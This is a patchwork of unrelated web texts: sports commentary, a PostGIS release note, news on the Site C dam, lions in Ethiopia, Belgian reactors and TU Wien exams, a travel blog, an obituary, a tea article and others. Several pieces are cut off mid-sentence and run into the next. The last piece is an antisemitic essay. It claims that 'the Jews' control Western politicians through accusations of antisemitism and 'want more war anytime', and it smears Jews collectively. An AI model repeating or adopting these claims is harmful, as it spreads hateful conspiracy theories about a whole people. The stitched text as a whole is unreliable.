The Championship's top scorer last season has already opened up his Premier League account against Liverpool and is Burnley's most dangerous player.
Forward: Alvaro Negredo
Middlesbrough's Alvaro Negredo celebrates scoring his first goal for the club
A real marquee signing for Middlesbrough, Alvaro Negredo scored 23 goals in 48 games in his single previous season in England with Manchester City.
After two unimpressive seasons with Valencia, Negredo seems to be enjoying the big fish in a small pond scenario at Boro and has impressed in his first three games, scoring once.
Forward: Abel Hernandez
A player of real class, Abel Hernandez was subject to a reported £20 million bid from Aston Villa in the summer, but Hull City fans will be delighted they kept hold of the Uruguayan.
Third in line to Luis Suarez and Edison Cavani for Uruguay, the ex-Palermo man scored 22 goals last term and, like Gray, has already opened up his account for this season too.
After a difficult first season, Abel Hernandez is now flying for Hull City
Our combined Middlesbrough, Burnley and Hull XI may have lacked a little width and balance in an unusual 3-4-3 formation and shape, but there's no doubting the team contains some quality players.
How will the three promoted teams get on in the Premier League this season and was there anyone you feel should have made our combined XI?2.2.0 Released!
PostGIS 2.2.0 is released! Over the last two years a number of interesting new features have been added, such as:
True nearest-neighbor searching for all geometry and geography types
New volumetric geometry support, including ST_3DDifference, ST_3DUnion and more
Temporal data model support and functions like ST_ClosestPointOfApproach to support temporal query
Spatial clustering functions ST_ClusterIntersecting and ST_ClusterWithin
Subdividing large geometries with ST_Subdivide
Fast box clipping with ST_ClipByBox2D
In-database raster processing with ST_Retile and ST_CreateOverview.html
New high-speed native code address standardizer
Visvalingam-Whyatt geometry simplification with ST_SimplifyVW
Support for compressed “tiny well-known binary” format with ST_AsTWKB and ST_GeomFromTWKB
See the full list of changes in the news file and please report bugs that you find in the release.
Binary packages will appear in repositories over the coming weeks as packagers roll out builds.
View all closed tickets for 2.2.0.By Judith Lavoie / DeSmog Canada
Two Treaty 8 First Nations have applied for an injunction to prevent BC Hydro from cutting down trees containing eagle nests in preparation for construction of the controversial Site C Dam.
Several legal challenges to the $8.8-billion dam are pending, but the nest removal is scheduled to start September 1, according to a letter from BC Hydro to the Treaty 8 Tribal Association that gives notice of the “planned removal and destruction of Bald Eagle nests from construction areas of the Site C Clean Energy Project.”
Applications to the B.C. Supreme Court for an injunction and a judicial review have been made by the Prophet River First Nation and West Moberly First Nations. In a separate case, both bands are also seeking to overturn provincial approval for the dam.
The petition asking for an injunction says that Treaty 8 First Nations will suffer irreparable harm that cannot be mitigated by damages if the ground clearing and nest destruction goes ahead.
“Of particular concern is the clearing of the South Bank of the Peace River Valley, which represents extensive, severe and irreversible losses to ecological and cultural resources that support the meaningful exercise of Treaty rights,” it says.
Consultation on the permits allowing the nests to be removed was inadequate and BC Hydro proceeded with an “aggressive timeline for consultation,” according to the documents.
The plan to remove up to 28 nests between September and March, once the nests have been confirmed as inactive, means time is short.
“We are hoping that injunction happens sooner rather than later,” Treaty 8 First Nations member Susan Auger, said in a video made by Common Sense Canadian publisher Damien Gillis during a cultural demonstration on the banks of the Peace River earlier this month.
“Eagles are something that are very significant to myself and my culture. It’s something that has got my blood boiling that they are going to come and cut down eagle nests,” she said.
Studies show that there are 25 active eagle nests in the dam area, representing half of the large raptor nests in the Peace River corridor between Hudson’s Hope and the Alberta border.
However, BC Hydro plans to compensate for the removal or destruction of the nests by installing 38 artificial nesting platforms.
“Where feasible and safe, nests will be removed intact and relocated and installed on nest platforms,” says the BCHydro letter.
It’s a solution scoffed at by George Desjarlais of West Moberly First Nation.
“I don’t know how they communicated with the eagles, how they spoke to them and got them to understand that this is your new home,” he said during the demonstration.
BC Hydro spokesman Dave Conway said that during Site C construction, BC Hydro will take great care to avoid or mitigate effects on eagle nests.
“During construction, we will not disturb active eagle nests and will only relocate eagle nests when they are inactive, as confirmed by a qualified professional,” he said in an e-mailed statement.
“For active nests retained through the construction period, a no-clearing buffer around each active nest will be implemented.”
In the Gillis video, Art Napoleon of Saulteau First Nation looks out over the north bank of the Peace River and points out that each island contains eagle nests.
“There’s no need for it,” he said.
“It looks to me like a test or a provocation.”
The First Nations are fundraising for the legal challenges through the website nosite-c.com.
“We are closing in on $100,000 and our goal is $250,000,” said Susan Smitten of the group Respecting Aboriginal Values and Environmental Needs (RAVEN).
“We are committed to making sure there’s access to justice. It’s a huge issue when you are going up against the deep pockets of BC Hydro and the provincial government.”
http://www.desmog.ca/2015/08/12/first-nations-seek-injunction-stop-site-c-dam-work-destruction-eagle-nestsAfter her wonderful visual timeline of the future based on famous fiction last week, I asked Italian information visualization designer Giorgia Lupi and her team at Accurat to create an exclusive English version of another fantastic visualization designed for La Lettura, the Sunday literary supplement of Italian newspaper Corriere Della Sera — this time exploring the history of Nobel Prizes and laureates since the dawn of the awards in 1901.
Visualized for each laureate are prize category, year the prize was awarded, and age of the recipient at the time, as well as principal academic affiliations and hometown. Each dot represents a Nobel laureate, and each recipient is positioned according to the year the prize was awarded (x axis) and his or her age at the time of the award (y axis).
(Click image for hi-res version)
Also highlighted are several record-holding laureates — like Marie Curie, for instance, who endures not only as the first woman to win a Nobel Prize but also as the first person to win two Nobel Prizes, and in two different sciences at that, chemistry and physics.
What makes the visualization especially interesting is that Lupi, herself a pianist, was inspired by the work of legendary composer John Cage and the fantastic Notations 21 project. She tells me:
I love the way Cage composes the overall visual architecture of his pieces. Of course, they are functional (sheets to be played) but they are also very graceful in terms of visual beauty.
Indeed, she points out that there are a number of parallels between data visualization and Cage’s work, including non-linear storytelling, layering and hierarchies of information, a clear overall structure for each piece, a focus on overall architecture rather than individual elements, words within diagrams, and a convergence of emotive and functional beauty.
See more of Giorgia’s terrific work on her site, then complement it with some visualization lessons from the world’s top information designers and data artists.Canadian Government Drastically Increases Spying On Its Citizens
The federal Canadian electronic spy agency is said to have increased spying on Canadian citizens 26-fold in the last year. The volume of data that has been collected on Canadians, by allied intelligence agencies around the world, has also increased to the point that the information now requires its own formal sorting mechanism to manage all of the data.
This news comes just after a RCMP terror plot was recently foiled and another terror-case shortly before that was exposed to be a case of entrapment; prompting several civil liberties advocates to call on the police to change their approach when it comes to battling the threat of terror.
The news of the increase in spying comes from the latest annual report from Ottawa's secret foreign signals intelligence agency. The report concludes that at least 16 activities in 2015 were unlawful. There is also an increasing practice of Five Eyes intelligence-sharing members increasingly sharing information collected on Canadians with the Canadian Security Intelligence Service (CSIS).
There hasn't been any solid reason given as to why there was a 26-fold increase in spying on Canadians in just one year, and at least one intelligence expert is concerned that perhaps security agencies are sidestepping privacy laws. The Canadian Security Establishment (CSE) was shown to have intercepted at least 342 private communications in 2014-15, compared to only 13 for the previous year. That is a pretty dramatic jump.
Follow Dan Dicks:
Facebook
Twitter
Dan Dicks Twitter
Dan Dicks Instagram
Subscribe:
Youtube
Press For Truth TV
If you do not use PayPal or credit cards you can still donate! We accept checks, money orders, cash and equipment. With good old fashion mail you can send Dan stuff to:
Mail to Dan Dicks:
505-8840 210th Street
Langley BC, V1M 2Y2
CanadaWildlife conservationists have confirmed, for the first time, the presence of a previously undiscovered population of African lions in Alatash National Park located in a remote part of northwest Ethiopia.
Based on lions captured on cameras and observed lion tracks, the team from Oxford University’s Wildlife Conservation Research Unit estimates that 100-200 lions could be present throughout Alatash, and neighboring Dinder National Park in Sudan.
The discovery of lions on Ethiopia-Sudan border raises hope for the “vulnerable” African lions, which have otherwise been wiped out from much of Ethiopia, conservationists say.
In a remote part of northwestern Ethiopia, in Alatash National Park, wildlife conservationists have confirmed — for the first time — the presence of a previously undiscovered population of African lions, Born Free Foundation announced on February 1.
Calling it a “ground-breaking discovery”, conservationists say that they have found “undisputable” evidence of lions in Alatash. While on an expedition in Alatash, a team from Oxford University’s Wildlife Conservation Research Unit (WildCRU) heard roars of lions, captured some lions on cameras, and recorded multiple lion tracks on dry riverbeds, according to a report released on Monday.
The team estimates that lions are likely present throughout Alatash, and neighboring Dinder National Park in Sudan. There could be up to 200 lions in the Alatash-Dinder ecosystem, conservationists say, of which around 50 lions could be present in Alatash.
“Lions are definitely present in Alatash National Park and in Dinder National Park,” Hans Bauer, a lion conservationist at WildCRU who led the expedition in Alatash, said in a statement. “Lion presence in Alatash has not previously been confirmed in meetings at national or international level.
“Due to limited surface water, prey densities are low, and lion densities are likely to be low, we may conservatively assume a density in the range of one to two lions per 100 square kilometers,” he added. “On a total surface area of about 10,000 square kilometers, this would mean a population of 100-200 lions for the entire ecosystem, of which 27–54 would be in Alatash.”
The findings are, however, not peer-reviewed. Moreover, a small sample size, and a short expedition could make accurate estimation of lion population difficult, Luke Dollar, a wildlife biologist |
– fresh caught fish and prawns, banana cakes and lovely hot tamales for sale. We couldn’t resist these home cooked treats and made our way through quite a few of them.
Water, firewood, souvenirs and whatever else you may need were also available from these enterprising people as they catered to the needs of the tourists, many of whom stay in the one bay for months on end, returning to their little patch year after year.
Jumping aboard a local Panga (small boat) with a few other tourists we spent an afternoon looking for whale sharks! Although we were out of luck on the whale shark front, we had a great time just relaxing as we idled from bay to bay! I must admit, the fuel hose in the open jerry can with a rag around it and a cigarette in the captains mouth had me looking for a bucket of “savlon” should it all go bad! Fortunately the wind kept the sparks out of the fuel and we didn’t need the fire extinguisher that wasn’t there or the life jackets that didn’t exist should we have blown up!
Our next area of interest was San Basilio! A truly stunning bay and probably the best beach camp of the many that we enjoyed! About an hours drive from the highway, it’s just far enough to keep out most of the tourists but for those that make the effort the reward is there.
A lovely natural harbour, it wasn’t hard to see why there were quite a few sailboats moored close in enjoying the calm anchorage. Wandering along the beach we ran into Paul and Frances. They had come ashore from their lovely yacht christened “Monkey Fist”! All the way from Darwin these Aussies have spent the last 9 years sailing the world in there 43 foot Jeanneau yacht. Along the way they provide eye correction glasses to those in need around the world donated by the Lions Club.
These amazing travellers extended us an invitation to join them aboard that evening for a few beverages and a tour of their floating home. Paul picked us up in the Zodiac and we had a terrific time with them. I asked a million questions about the challenges of sailing the world and found their whole journey quite inspirational. The only downside of the evening was the company was so good that we never picked up the camera to record the event and as such only a couple of dodgy pics tell the tale.
It was Australia Day! What an appropriate way to spend it…
Cheers
JustinBob Goldstone — the vice president of sales and a partner at forward-thinking music distribution, management and marketing company Thirty Tigers — died Sunday, July 3, after being injured in a bicycling accident near his home in Pegram. He was 67.
Goldstone was a longtime veteran of the Nashville music industry, known for his unflagging passion for the kind of authentic and heartfelt music that was often overlooked by the wider music industry, but which has become Thirty Tigers' bread and butter, making them an unlikely success story at a time when its competitors are struggling to survive. The company's clients include Jason Isbell, Patty Griffin, Trampled by Turtles, St. Paul and the Broken Bones and others.
“We’ve lost the beating, loving heart of Thirty Tigers,” company co-founder and head David Macias tells the Scene. “First of all, he was really good at his job. He worked his ass off to make the right things happen for our clients, and was so valuable to the company. Love and service are the two pillars of this company, and of all the people, myself included, Bob was the most loving of all of us, both internally and externally. He was a such a confidant and champion for the underdogs, and for the young employees here. It's been devastating for all of us, but particularly for them.”
Thinking about Bob Goldstone and family today. Bob was a huge part of Nashville music, a big help on my last couple albums, and a good man. — Jason Isbell (@JasonIsbell) July 5, 2016
I first met Bob in the late ’90s when he was the community relations director at Tower Records. I had known his name already, because he and I shared a certain resemblance, and on several occasions people had come up to me and said, “Hi Bob,” mistaking me for him. And apparently, vice versa, I found out after meeting him. After our introduction, we always referred to each other as our long-lost brother. We weren't particularly close, just the sort of friends who would see each other at concerts or parties around town, but he was always warm, vibrant and upbeat, and when we would chat, he had an uncanny knack for making me feel like the most important person in the room. He was a fixture in this town, and his loss will be deeply felt by the Nashville music community.It’s difficult to grab attention in the vibrant bustle of NYC’s Times Square. Yet Aedifica has done just that in particularly clever ways. In creating a pop-up restaurant, they took a shipping container, 20 feet in length, and decked it out for show-stopping performances.
The Snack Box resides and moves around on a closed-to-traffic section of Broadway. Outfitted with fresh and grey water tanks, it’s not reliant on hooking up to city water supply or waste. With a generator and electric batteries, the hybrid energy system makes it completely independent and self-sustaining. Heat is recovered from the generator to keep the interior warm in cold weather.
The bold diagonal black and white striped exterior fits confidently in to its surroundings. On three sides, these panels lift up revealing the restaurant, providing shade and protection from weather. Across the back width, two panels swing open for full access. When the shop closes, so do all of the panels for a secure night.
Every interior inch is utilized from top to bottom and the features are remarkable. Slide-out sections on three sides create sales, display, and a condiment area. I’m certain the chefs appreciate the expanded width of the galley kitchen provided by these extensions. Stainless steel shelves wrap over the windows and the state-of-the art cooking equipment. Day light doubles through reflections off the stainless steel interior. Snack Box is a perfect recipe for a contemporary street food vendor.
Architects: Aedifica
Photography: Cesar NicolescuAfter controversial debates arose regarding wearing the Islamic swimsuit Burkini in Europe, the topic has now extended to Lebanon as the first Arab country to prohibit it in the region.
Two days ago, a Lebanese lady at a northern beach resort was prevented from going to the beach because she wore a Burkini,” reported Al Arabiya.
Noura al-Zayyem shared her story saying that she was surprised that when she headed to the beach with her family and two-year-old child, the guard called her husband to let him know that she won’t be allowed access to the beach.
The woman said that she did not violate the law and had the right to go to the beach like any other Lebanese citizen. However, the official insisted she can only go to the beach with a proper swim attire.
It is ironic that Burkini is not considered a suitable swimwear in a city embracing a large number of veiled women who do not wear swimsuits, except the Burkini or similar body-covering attire.
Last Update: Thursday, 29 June 2017 KSA 20:16 - GMT 17:1625User Rating: 2 out of 5
Review title of TrueWickedone Hitting a Brick Wall
Game is easy for newbs, but once you begin to level up you will literally hit a brick wall. I was forced to auto-play daily for a month before I could clear more levels. The higher level you get, the more this game punishes you, mainly on events for killing Thiefs. At level 20 you can kill a thief in 30 seconds, by level 60 it will take you an hour so you cant even complete a challenge. New update ruined game for me, not one person even tested it at this game studio. New update not only made me pay 10million gold in game to unlock levels, but they removed my daily rewards. Before update I earned 150k+ gold a day, now that I play harder difficulty and unlocked half the high end levels, I earn 60k less. Anyone who punishes players for being loyal and trying harder content does not deserve any kudos for this game. Give me back my daily rewards I EARNED with time played. Making me pay 10 million gold just to have my daily rewards taken from me is cowardly and rude.Etymology
Origin and history
Cultivation and harvesting
Chemical composition
Processing and classification
Preparation
Black tea Popular varieties of black tea include Assam, Nepal, Darjeeling, Nilgiri, Rize, Keemun, and Ceylon teas. Many of the active substances in black tea do not develop at temperatures lower than 90 °C (194 °F).[93] As a result, black tea in the West is usually steeped in water near its boiling point, at around 99 °C (210 °F). Since boiling point drops with increasing altitude, it is difficult to brew black tea properly in mountainous areas. Western black teas are usually brewed for about four minutes. In many regions of the world, however, actively boiling water is used and the tea is often stewed. In India, black tea is often boiled for fifteen minutes or longer to make Masala chai, as a strong brew is preferred. Tea is often strained while serving. A food safety management group of the International Organization for Standardization (ISO) has published a standard for preparing a cup of tea (ISO 3103: Tea – Preparation of liquor for use in sensory tests), primarily intended for standardizing preparation for comparison and rating purposes. Green tea In regions of the world that prefer mild beverages, such as the Far East, green tea is steeped in water around 80 to 85 °C (176 to 185 °F). Regions such as North Africa or Central Asia prefer a bitter tea, and hotter water is used. In Morocco, green tea is steeped in boiling water for 15 minutes. The container in which green tea is steeped is often warmed beforehand to prevent premature cooling. High-quality green and white teas can have new water added as many as five or more times, depending on variety, at increasingly higher temperatures. Oolong tea Oolong tea is brewed around 82 to 96 °C (185 to 205 °F), with the brewing vessel warmed before pouring the water. Yixing purple clay teapots are the traditional brewing-vessel for oolong tea which can be brewed multiple times from the same leaves, unlike green tea, seeming to improve with reuse. In the southern Chinese and Taiwanese Gongfu tea ceremony, the first brew is discarded, as it is considered a rinse of leaves rather than a proper brew. Pu-erh tea Pu-erh teas require boiling water for infusion. Some prefer to quickly rinse pu-erh for several seconds with boiling water to remove tea dust which accumulates from the ageing process, then infuse it at the boiling point (100 °C or 212 °F), and allow it to steep from 30 seconds to five minutes. Masala chai Meaning "spiced tea", masala chai tea is prepared using black or green tea with milk (in which case it may be called a "latte"), and may be spiced with ginger.[94] Cold brew tea See also: Cold brew tea and Iced tea While most tea is prepared using hot water, it is also possible to brew a beverage from tea using room temperature or cooled water. This requires longer steeping time to extract the key components, and produces a different flavor profile. Cold brews use about 1.5 times the tea leaves that would be used for hot steeping, and are refrigerated for 4–10 hours. The process of making cold brew tea is much simpler than that for cold brew coffee. Cold brewing has some disadvantages compared to hot steeping. If the leaves or source water contain unwanted bacteria, they may flourish, whereas using hot water has the benefit of killing most bacteria. This is less of a concern in modern times and developed regions. Cold brewing may also allow for less caffeine to be extracted. Pouring from height The flavor of tea can also be altered by pouring it from different heights, resulting in varying degrees of aeration.[95] The art of elevated pouring is used principally to enhance the flavor of the tea, while cooling the beverage for immediate consumption.[95] In Southeast Asia, the practice of pouring tea from a height has been refined further using black tea to which condensed milk is added, poured from a height from one cup to another several times in alternating fashion and in quick succession, to create a tea with entrapped air bubbles, creating a frothy "head" in the cup. This beverage, teh tarik, literally, "pulled tea" (which has its origin as a hot Indian tea beverage), has a creamier taste than flat milk tea and is common in the region.
Tea culture
Production
Economics
Packaging
Storage
Storage conditions and type determine the shelf life of tea. Black tea's is greater than green's. Some, such as flower teas, may last only a month or so. Others, such as pu-erh, improve with age. To remain fresh and prevent mold, tea needs to be stored away from heat, light, air, and moisture. Tea must be kept at room temperature in an air-tight container. Black tea in a bag within a sealed opaque canister may keep for two years. Green tea deteriorates more rapidly, usually in less than a year. Tightly rolled gunpowder tea leaves keep longer than the more open-leafed Chun Mee tea. Storage life for all teas can be extended by using desiccant or oxygen-absorbing packets, vacuum sealing, or refrigeration in air-tight containers (except green tea, where discrete use of refrigeration or freezing is recommended and temperature variation kept to a minimum).[129]
Gallery
See also"Lehre ist an der TU nicht vorhanden", sagt Jakob Stracke. Er hat selbst als Tutor am Institut für Mechanik gearbeitet, nun leitet er ein Nachhilfe-Institut. © Hannes Friesenegger "Lehre ist an der TU nicht vorhanden", sagt Jakob Stracke. Er hat selbst als Tutor am Institut für Mechanik gearbeitet, nun leitet er ein Nachhilfe-Institut. © Hannes Friesenegger
Wien. Studierende strömen aus dem TU-Gebäude am Getreidemarkt, vergleichen ihre Rechenergebnisse und ziehen weiter in den Innenhof. Es ist Tradition, dass sich TU-Studierende nach Prüfungen vor der Fachschaft treffen, auf ein Bier. Oder zwei. Oder zehn. "Es ist ein Frust-Besäufnis", sagt Wolf Farber, und: "An der TU Wien zu studieren war der größte Fehler meines Lebens."
Nur drei Prozent schafften laut HTU die Mechanik-Prüfung
Seit fünf Jahren studiert er Maschinenbau, seit fünf Jahren scheitert er an der Mechanik-Prüfung. Besteht er die Prüfung diesmal wieder nicht – es ist sein fünfter Antritt –, droht die Exmatrikulation. Farber ist kein Einzelfall. 97 Prozent der Studierenden fielen bei der Zwischenprüfung einer Mechanik-Übung durch. Die Zahlen, die die Hochschülerschaft der TU (HTU) Wien am Dienstag dieser Woche veröffentlicht hat, will das Rektorat nicht bestätigen. Die Information stamme von einem Studierenden, sagt die HTU Wien, die nicht nachvollziehen kann, warum das Institut für Maschinenbau die Durchfallquoten nicht herausrückt.
Trotz schwüler Hitze ist die Luft im Innenhof des TU-Gebäudes weniger dick als bisher nach Mechanik-Prüfungen. Anstatt wie bisher 45 Minuten hatten die Studierenden am Mittwoch 60 Minuten Zeit. Die Studierenden berichten auch, das Beispiel sei "lösbar" gewesen. Die Verbesserungen fielen nicht vom Himmel. Mehr Zeit, größere Testbögen, fairere Punktevergabe, etwa für den richtigen Gedankengang: Das fordern Studierende seit Jahren. Die Entscheidung, ob die Prüfungsdauer generell verlängert wird, steht noch aus, so das Rektorat auf Anfrage der "Wiener Zeitung".
Im Vorjahr hat eine Maschinenbau-Studentin auf Eigeninitiative eine Umfrage gestartet, fast 900 Studierende nahmen teil und schrieben Dinge wie: "Das ganze Institut ist ein Chaos", "Die Tests sind unfair", "Man will gar nicht, dass wir abschließen". Kurt Matyas, Vizerektor für Lehre, habe sie daraufhin um ein Gespräch gebeten, das positiv verlief. "Die Zusammenarbeit mit dem Rektorat ist gut", sagt auch Andreas Potucek vom HTU-Vorsitzteam, "doch die Dinge werden nicht umgesetzt, da man Angst hat, dass die Lehrenden Revolte machen."
Auf Prüfungsergebnisse wartet man mitunter doppelt so lange wie die gesetzlich erlaubten vier Wochen. Versteht man eine Frage nicht, sagen Professoren: "Wenn Sie das nicht verstehen, kann ich Ihnen auch nicht weiterhelfen." Verwunderlich, dass die Studierenden nicht revoltieren. "Der TU-Student ist nicht unbedingt der, der protestiert", sagt Farber, der wie alle Studierenden nicht mit seinem richtigen Namen zitiert werden will. Niemand will es sich mit den Professoren verscherzen, so lange das Studium nicht abgeschlossen ist.
Studierender gründete Nachhilfe-Institut
Eine Ausnahme ist Jakob Stracke. Er hat früher selbst als Tutor am Institut für Mechanik gearbeitet, steht kurz vor seinem Bachelor-Abschluss und sagt: "Lehre ist an der TU nicht vorhanden, seit 20 Jahren wird mit denselben Beispielen gearbeitet. Man muss es den Studierenden erklären." Der 29-Jährige hat vor drei Jahren "eine Lücke entdeckt" und begonnen, Nachhilfe anzubieten. Heute hat er drei Mitarbeiter, betreut mehr als 900 Studierende pro Jahr.
Auch Max Aigner war sein Nachhilfeschüler, er hat die Mechanik-Prüfungen inzwischen geschafft, und sieht die Lehre an der TU Wien weniger kritisch als seine Kommilitonen: "Wenn du dich mit der Materie beschäftigst, einige Monate lernst, ist es kein Problem." Der 25-Jährige studiert seit 15 Semestern – was an der TU keine Seltenheit ist – und hat den Master so gut wie in der Tasche. Ihm fehlt nur noch die gefürchtete Prüfung in Maschinenelemente. Aigner stört, dass ihm zu wenig Zeit und Energie für "richtig coole Freifächer" im Bereich KFZ-Technik bleibt, die Professoren von Magna, BMW oder Mercedes, praxisnah unterrichten.
Die HTU rief Studierende dazu auf, ihre Erfahrungen zu schildern, erhielt um die hundert E-Mails in nur einer Woche, in denen Studierende und Eltern verzweifelt berichten, das jahrelange Studium führe zu Existenzängsten. Farber ist sich ziemlich sicher, dass er den Test am Mittwoch bestanden hat. Wenn er jetzt noch den Wiederholungstest in Mechanik II besteht, hat er die Mechanik-Übung geschafft.This article is over 2 years old
Belgium’s nuclear safety agency says 40-year-old Tihange 2 and Doel 3 reactors meet ‘strictest possible safety requirements’
Belgium on Wednesday rejected a request by neighbouring Germany to shutter two ageing nuclear plants near their shared border, arguing the facilities met with the strictest safety standards.
German environment minister, Barbara Hendricks, earlier on Wednesday requested that the 40-year-old Tihange 2 and Doel 3 reactors be turned off “until the resolution of outstanding security issues”.
In response, Belgium’s official nuclear safety agency (AFCN) said the two plants “respond to the strictest possible safety requirements.”
The agency “is always willing to collaborate with their German counterparts... but only as long as a shared willingness to cooperate in a constructive fashion is demonstrated,” it added in a terse statement.
Shut old nuclear reactors, says unprecedented alliance of EU cities Read more
The reactor at Tihange is located just 60 kilometres (40 miles) from the German border, while Doel is about 130 kilometres away, and close to Antwerp.
The reactor pressure vessels at both sites have shown signs of metal degradation, raising fears about their safety.
They were temporarily closed but resumed service last December.
“I believe it is right to temporarily take the plants off-line, at least until further investigations have been completed,” minister Hendricks said in a statement.
Such a step would be “a strong precautionary measure” and “would show that Belgium takes the concerns of its German neighbours seriously,” she said.
Belgium’s creaking nuclear plants have been causing safety concerns for some time after a series of problems ranging from leaks to cracks and an unsolved sabotage incident.
The Doel and Tihange power stations have been in service since 1974-1975, and were scheduled to be shut down in 2015.
But the Belgian government in December decided to extend their lives to 2025.
Germany - where the public mood swung against nuclear power following the 1986 Chernobyl disaster - decided after Japan’s Fukushima meltdown five years ago to phase out nuclear power by 2022.
Germany in early March also demanded that France close down its oldest nuclear plant, Fessenheim, located near the German and Swiss borders, over safety concerns.Palestine with its wonderful rolling landscapes and venerable old olive trees, – some of them planted by Mary’s own hands, by the Virgin, Mother of Jesus Christ, the Palestinian peasant woman who owned a plot of olive orchard near present Cremisan Convent in Beit Jalla, still bearing Her name; Palestine with its sturdy mountain folk, lean, sun-tanned and blue-eyed, my second- or perhaps first homeland, where I write these lines, Palestine is also a rare place in the world, where people are not afraid to mouth the word “Jew”.
My Palestinian friend, a retired chemistry professor Ghassan Abdulla – we became friends years ago while trying to promote the idea of One State for all the inhabitants of the Holy Land of whatever faith, the idea universally accepted all over the world, certainly in your country be it the US, the UK, Russia or France, but still considered extremely radical here – Abdulla often receives visitors from Germany and Austria, as his wife hails from German-speaking part of Switzerland. These guests look shocked whenever they hear the word “Jew”, especially with a negative connotation, like “The Jews do not allow us to have water” or “The Jews do not allow us to use the airport”, “The Jews declared a siege and we can’t go to the church”, “Jews shot at the kids at the crossing”, and so many similar sentences all too frequent in the country where the Jews rule, and the Gentiles obey or die. The German guests are instinctively looking for a bed to crawl and hide under. If they find to escape route, they mumble “Surely not all the Jews”, or “We love Jews”, or something equally silly.
The US occupation army in Europe instilled terrible fear of Jews in European hearts and minds. This fear was known before: the Gospel is a witness that people were afraid to speak openly of Christ “for fear of the Jews”. Since then, the fear only grew and multiplied. And provided such fear exists, it would be strange if it weren’t used.
The Austrian elections of last Sunday are a prime exhibit. During the election campaign, the ruling Social Democratic Party of Austria (called SDO for short) imported an Israeli dirty-tricks master, a macher in Yiddish, Tal Silberstein, to besmirch its adversary Sebastian Kurz. Silberstein established a Facebook page in the name of Kurz and posted there strong anti-Jewish diatribes, he organised a FB group of Kurz fans and posted there hard-core Nazi slogans. The idea was that the Austrians will get cold feet and run away from Kurz.
Kurz figured this out and asked the Facebook moderators to stop it. Usually you do not have to ask FB twice to stop Nazi stuff. And a false identity claim usually gets sorted out in a reasonable time. Here, however, Mr Zuckerberg and his minions tarried a while, reluctant to undermine Silberstein’s outing of an antisemite. Kurz was lucky as Silberstein had been arrested in Israel for corruption-related offences. After that, the FB unplugged its ears and removed Silberstein’s created pages and groups. This was sheer luck: if he were arrested elsewhere, he would be considered a victim of antisemites, and his nasty web would remain intact.
This Silberstein has quite a name to fit the Hall of Shame: an expert in Black PR, he had been previously connected with bribery-related offences when he ran the campaign for Mrs Julia Timoshenko, a Ukrainian politician. She went to jail, and he went to Israel. In Austria, he had a go of misfortunes: hackers released his correspondence with the SDO, his plans became known to public, the SDO leaders had to stand down and SDO had lost the election.
So the attempt of Silberstein to frame Kurz as an antisemite had failed, up to a point. He anyway continued to smear another Austrian politician as a Jew-hater. That was the FPO leader Heinz-Christian Strache. The end of the story may comfort us: the Austrians preferred these two parties, Kurz List and FPO, despite the alleged antisemitism, and punished SDO, the kosher party.
However, before celebrating let us see the downside of this wonderful event. In order to extricate themselves and their parties from the Jewish smear, the two leaders swore loyalty to Israel. They went (separately) to Israel, took photo-op with PM Netanyahu and at the Holocaust memorial, they spoke endlessly how much they adore and appreciate Israel.
The antisemitism accusation is a win-win proposition for Jews. If a politician doesn’t do what the Jews want, they call him antisemite, and he (a) does what they want, and/or (b) swears fealty to Israel. In case (a) he is a liberal, in case (b) he is a nationalist. In both cases, Jews win.
And the Palestinians lose. They are locked up behind a high wall; they can’t leave, and the Jews drive in whenever they feel for it, to snatch a man and kill him, or drop him into their nameless gaols. From time to time, the Jews take over a hill or a valley and build there a gated community just for Jews. They take water, they take fields. If the Palestinians build themselves say, a power plant, Jews bomb it to smithereens. They say, otherwise the Palestinians will be able to use electricity to make weapons and kill Jews. It is better for Jews to sell them electricity: the EU pays for some of electricity, the PNA pays for the rest, the money goes to Jewish pockets, while the power switch remains in Jewish hands.
Can you read the previous paragraph without feeling acute discomfort? If not, you are also a victim of antisemitism hunters. I am not fond of Jew-haters, but these antisemitism hunters are worse, much worse – because they cause real, not imaginary damage.
ORDER IT NOW
Look at Weinstein, the Hollywood wanker – he is a typical antisemitism hunter, dreaming of killing goyim like in his Basterds, or screwing shiksas in real life. He called to “kick ass” of the enemies of Jews, to organize “like Mafia did”, though these guys could teach Mafia a lesson or two. He forced the Gentile girls to have sex with him because he was a simple Jewish boy from Bronx who dreamed of revenge, wrote the editor of the Jewish Tabletmag.com: “It goes without saying that nearly every one of these women — was a Gentile, all the better to feed Weinstein’s revenge-tinged fantasy of having risen above his outer-borough, bridge-and-tunnel Semitic origins.” At the Algemeiner‘s gala in New York City, Weinstein declared, “I love Israel, I love what it stands for, I am proud to be Jewish. I am an Israeli in my heart and mind.”
Whenever a Palestinian child is killed, whenever an olive tree is uprooted by Jewish bulldozers, Weinstein and Silberstein are accomplices of the crime.
Now in England, there is a terrible witch-hunt for antisemites in the Labour Party. The idea is to destroy Jeremy Corbyn, to return the party to the people of Blair and his Jewish paymaster Mandelson, who said, “I try to undermine Jeremy Corbyn ‘every single day” with their antisemitism allegations. Corbyn is doing everything to cover himself from this side. Good people, strong activists had been expelled for very little reason, if the Jews demanded their heads. Even an old Professor Moshe Machover, an academic and Israeli socialist, long resident in the UK had been expelled from Labour for this was the command of Israeli ambassador in the UK.
The US is the worst case of fear of the Jews. The Americans are so afraid of Jews that they express their servile love for Jews at every occasion. Not in private, no. I had met with some American dignitaries; whenever they thought they are not listened to and recorded by NSA, they spoke quite freely of being locked in the Jewish vice. But in public, they would never say anything against the Jewish will. I know only one congresswoman who dared, Cynthia McKinney. She lost her seat, but she won hearts. A person of colour, as you say in the US, she is the whitest one.
Now consider Donald Trump. From the very beginning of his political career, every day or twice a day he says he is not an antisemite. And he is getting more and more attached to Israel in order to prove it.
He is doing everything for Israel. He stormed out of UNESCO because they are not obedient enough to Israel – though they even broke their own rules to elect the French-Moroccan Jewish woman as their head in order to please Trump and Netanyahu. He destroyed the nuclear accord with Iran, because that was Netanyahu’s demand. And still, every day the Jews scream that he is an antisemite. (Today, as I write these lines, they call him ‘antisemite’ because he advised Senator Chuck Schumer to check with Israel on his attitude to the Iran nuclear accord.)
Together with Netanyahu, Trump prepares now an inter-Palestinian civil war, or at least he blocks the Palestinian way of democratically sorting out their internal problems. Since 2006, the Palestinians have been split between Fatah and Hamas. Now they want to form a coalition government and run proper democratic elections like they did in 2006. Israel is surely against it, as they are against every attempt to stop bloodshed in the area. The Jews want more war anytime – from the Iran-Iraq war to the War on Terror to the Syrian war, they are always for war, but especially the Jews want a Palestinian civil war. And here the US comes in, by saying that Hamas are terrorists and the US will block PNA in the US courts and banks if they accept Hamas.
